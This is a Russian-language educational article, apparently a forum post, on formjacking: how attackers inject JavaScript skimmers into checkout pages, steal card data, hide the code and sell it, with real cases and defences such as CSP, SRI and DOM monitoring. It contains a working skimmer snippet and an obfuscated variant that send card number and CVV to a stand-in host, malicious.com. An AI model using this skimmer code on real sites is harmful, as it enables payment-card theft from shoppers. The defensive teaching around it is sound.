Формджекинг (formjacking) — это изощрённая кибератака, направленная на кражу конфиденциальных данных, вводимых пользователями в веб-формы, особенно платёжные, такие как данные кредитных карт, CVV-коды, имена, адреса и другие персональные данные. Эта техника активно используется киберпреступниками для получения финансовой выгоды, так как украденные данные могут быть проданы на чёрном рынке или использованы для мошеннических операций. Давайте разберём процесс формджекинга подробно, шаг за шагом, в образовательных целях, чтобы понять, как он работает, почему эффективен и как от него защититься.
Пример кода (упрощённый):
Этот код отслеживает отправку формы и передаёт данные карты на сервер злоумышленника.
Также полезно внедрить мониторинг клиентской стороны, например, с помощью JavaScript для обнаружения несанкционированных изменений в DOM:
Как работает формджекинг?
1. Поиск и эксплуатация уязвимостей
Злоумышленники начинают с поиска уязвимостей в веб-сайте, чтобы внедрить вредоносный код. Основные пути атаки включают:- Уязвимости в CMS или плагинах: Популярные системы управления контентом (CMS), такие как WordPress, Magento или Joomla, часто становятся мишенями из-за их широкого распространения. Устаревшие версии CMS или плагинов могут содержать известные уязвимости, которые легко эксплуатируются. Например, в 2018 году атаки на Magento через уязвимости в плагинах привели к массовым случаям формджекинга.
- Межсайтовый скриптинг (XSS): Если сайт уязвим к XSS, злоумышленник может внедрить вредоносный JavaScript-код через пользовательский ввод (например, комментарии или формы), который затем выполняется в браузере жертвы.
- Компрометация сторонних библиотек: Многие сайты используют сторонние JavaScript-библиотеки (например, jQuery) или сервисы (аналитика, чаты, виджеты). Если злоумышленник взламывает сервер, предоставляющий эти ресурсы, код на всех сайтах, использующих эту библиотеку, становится заражённым.
- Фишинг или социальная инженерия: Злоумышленники могут получить доступ к административной панели сайта, используя украденные учётные данные, полученные через фишинговые атаки на владельцев или разработчиков сайта.
- Прямой взлом сервера: Если сервер сайта плохо защищён (например, слабые пароли SSH или уязвимости в серверном ПО), атакующий может напрямую внедрить код в файлы сайта.
2. Внедрение вредоносного кода
После получения доступа злоумышленники внедряют вредоносный JavaScript-код в код страницы, содержащей платёжную форму. Это может быть сделано несколькими способами:- Прямое изменение файлов сайта: Код добавляется в HTML, JavaScript или PHP-файлы, обслуживающие страницу оплаты. Например, в файл checkout.html добавляется строка <script src="https://malicious.com/script.js"></script>.
- Динамическая инъекция через уязвимости: Код может быть внедрён через уязвимости в серверной логике (например, SQL-инъекции или некорректная обработка данных), что позволяет временно подгружать скрипт при загрузке страницы.
- Сторонние ресурсы: Злоумышленники могут подменить легитимный скрипт (например, аналитики Google) на вредоносный, размещённый на их сервере, который внешне выглядит идентично.
Пример кода (упрощённый):
JavaScript:
// Вредоносный скрипт, внедрённый в страницу
document.getElementById('payment-form').addEventListener('submit', function(e) {
const cardNumber = document.getElementById('card-number').value;
const cvv = document.getElementById('cvv').value;
fetch('https://malicious.com/steal', {
method: 'POST',
body: JSON.stringify({ card: cardNumber, cvv: cvv })
});
});
Этот код отслеживает отправку формы и передаёт данные карты на сервер злоумышленника.
3. Перехват данных
После внедрения вредоносный код выполняется в браузере пользователя при загрузке страницы или взаимодействии с платёжной формой. Вот как это происходит:- Отслеживание ввода: Скрипт использует события JavaScript, такие как oninput, onchange или onsubmit, чтобы захватывать данные, вводимые пользователем в поля формы (например, номер карты, срок действия, CVV, имя владельца).
- Сбор данных в реальном времени: В отличие от традиционного скимминга, формджекинг часто отправляет данные сразу, как только они вводятся, а не ждёт отправки формы. Это делает атаку менее заметной.
- Обфускация и маскировка: Код часто обфусцируется (запутывается) с помощью инструментов, таких как JavaScript Obfuscator, чтобы усложнить его анализ. Например:
JavaScript:// Обфусцированный код var _0x1a2b=['value','card-number','getElementById','POST','https://malicious.com/steal'];(function(_0x3c4d,_0x5e6f){var _0x7a8b=function(_0x9c0d){while(--_0x9c0d){_0x3c4d['push'](_0x3c4d['shift']());}};_0x7a8b(++_0x5e6f);}( _0x1a2b,0x1f4));var _0x3c4d=function(_0x5e6f,_0x7a8b){_0x5e6f=_0x5e6f-0x0;var _0x9c0d=_0x1a2b[_0x5e6f];return _0x9c0d;};fetch(_0x3c4d('0x4'),{method:_0x3c4d('0x3'),body:JSON.stringify({card:document[_0x3c4d('0x2')](_0x3c4d('0x1'))[_0x3c4d('0x0')]})});
- Отправка данных: Собранные данные отправляются на сервер злоумышленника через HTTP-запросы (обычно POST), часто используя зашифрованные соединения (HTTPS), чтобы не вызывать подозрений у систем мониторинга.
4. Сохранение скрытности
Формджекинг эффективен, потому что он минимально влияет на пользовательский опыт:- Прозрачность для пользователя: Платёжная форма продолжает работать как обычно, пользователь успешно завершает покупку, и никаких видимых сбоев не происходит.
- Имитация легитимных скриптов: Вредоносный код может быть замаскирован под популярные сервисы (например, Google Analytics, Cloudflare) или назван как analytics.js, чтобы не привлекать внимания.
- Долгосрочная работа: Атака может оставаться незамеченной месяцами, пока владельцы сайта не обнаружат утечку данных или не проведут аудит.
5. Использование украденных данных
После перехвата данные могут быть использованы следующим образом:- Прямое мошенничество: Злоумышленники используют данные карт для покупок в интернете.
- Продажа на чёрном рынке: Данные продаются на даркнет-площадках, таких как Genesis Market, где цены за полный набор данных карты (card number, CVV, имя, адрес) могут достигать $50–100.
- Фишинг или дальнейшие атаки: Украденные данные могут использоваться для таргетированных атак, например, для выманивания дополнительных сведений у жертвы.
Почему формджекинг эффективен?
- Широкий охват: Один скомпрометированный сайт может затронуть тысячи пользователей, особенно если это популярный интернет-магазин.
- Сложность обнаружения: Код часто обфусцирован, а атака не нарушает функциональность сайта, что затрудняет её выявление без специализированных инструментов.
- Доступность инструментов: Злоумышленники могут использовать готовые наборы для формджекинга (например, MageCart — известная группа, специализирующаяся на таких атаках), которые продаются в даркнете.
- Слабая защита у многих сайтов: Малый и средний бизнес часто не инвестирует в кибербезопасность, что делает их лёгкими мишенями.
Примеры реальных атак
- MageCart и British Airways (2018): Группа MageCart внедрила вредоносный код на сайт British Airways, украв данные 380 000 клиентов. Скрипт был добавлен в платёжную форму и отправлял данные на сервер, замаскированный под легитимный домен.
- Ticketmaster (2018): Злоумышленники скомпрометировали сторонний скрипт (Inbenta), используемый на сайте, что позволило перехватывать данные карт пользователей.
- Shopify-магазины: Многие небольшие магазины на Shopify становились жертвами формджекинга из-за уязвимостей в сторонних приложениях или слабых паролей.
Как защититься от формджекинга?
Для владельцев сайтов:
- Обновление ПО:
- Регулярно обновляйте CMS, плагины, библиотеки и серверное ПО. Используйте инструменты, такие как Dependabot, для отслеживания устаревших зависимостей.
- Content Security Policy (CSP):
- Настройте CSP, чтобы ограничить загрузку скриптов только с доверенных доменов. Пример заголовка:
HTTP:Content-Security-Policy: script-src 'self' https://trusted.com;
- Настройте CSP, чтобы ограничить загрузку скриптов только с доверенных доменов. Пример заголовка:
- Subresource Integrity (SRI):
- Используйте SRI для проверки целостности сторонних скриптов:
HTML:<script src="https://example.com/script.js" integrity="sha256-..." crossorigin="anonymous"></script>
- Используйте SRI для проверки целостности сторонних скриптов:
- Мониторинг и аудит:
- Используйте инструменты, такие как Sucuri, Wordfence или OWASP ZAP, для мониторинга изменений в коде сайта и обнаружения подозрительных скриптов.
- Проводите регулярные проверки безопасности и сканирование на уязвимости.
- Шифрование и токенизация:
- Используйте платёжные шлюзы (например, Stripe, PayPal), которые обрабатывают данные карт на своей стороне, минимизируя риск их перехвата на вашем сайте.
- Применяйте токенизацию для замены конфиденциальных данных временными идентификаторами.
- Ограничение доступа:
- Используйте двухфакторную аутентификацию (2FA) для административных панелей.
- Ограничивайте доступ к серверу по IP или через VPN.
Для пользователей:
- Проверка URL: Убедитесь, что вы находитесь на легитимном сайте (проверяйте HTTPS и домен).
- Использование виртуальных карт: Применяйте одноразовые или виртуальные карты для онлайн-покупок, чтобы минимизировать ущерб при утечке.
- Антивирус и расширения: Используйте антивирусное ПО и браузерные расширения, такие как uBlock Origin, для блокировки подозрительных скриптов.
- Мониторинг транзакций: Регулярно проверяйте выписки по карте и настройте уведомления о транзакциях.
Технические аспекты защиты
Для более глубокого понимания рассмотрим пример реализации CSP для защиты от формджекинга:
HTTP:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-analytics.com; connect-src 'self' https://api.payment-gateway.com;
- default-src 'self': Ограничивает загрузку ресурсов только с текущего домена.
- script-src 'self' https://trusted-analytics.com: Разрешает выполнение скриптов только с сайта и доверенного домена аналитики.
- connect-src 'self' https://api.payment-gateway.com: Ограничивает отправку данных только на сервер сайта и платёжный шлюз.
Также полезно внедрить мониторинг клиентской стороны, например, с помощью JavaScript для обнаружения несанкционированных изменений в DOM:
JavaScript:
const observer = new MutationObserver((mutations) => {
mutations.forEach((mutation) => {
if (mutation.addedNodes.length) {
mutation.addedNodes.forEach((node) => {
if (node.tagName === 'SCRIPT' && !node.src.includes('trusted.com')) {
console.warn('Обнаружен подозрительный скрипт:', node.src);
node.remove(); // Удаление подозрительного скрипта
}
});
}
});
});
observer.observe(document.documentElement, { childList: true, subtree: true });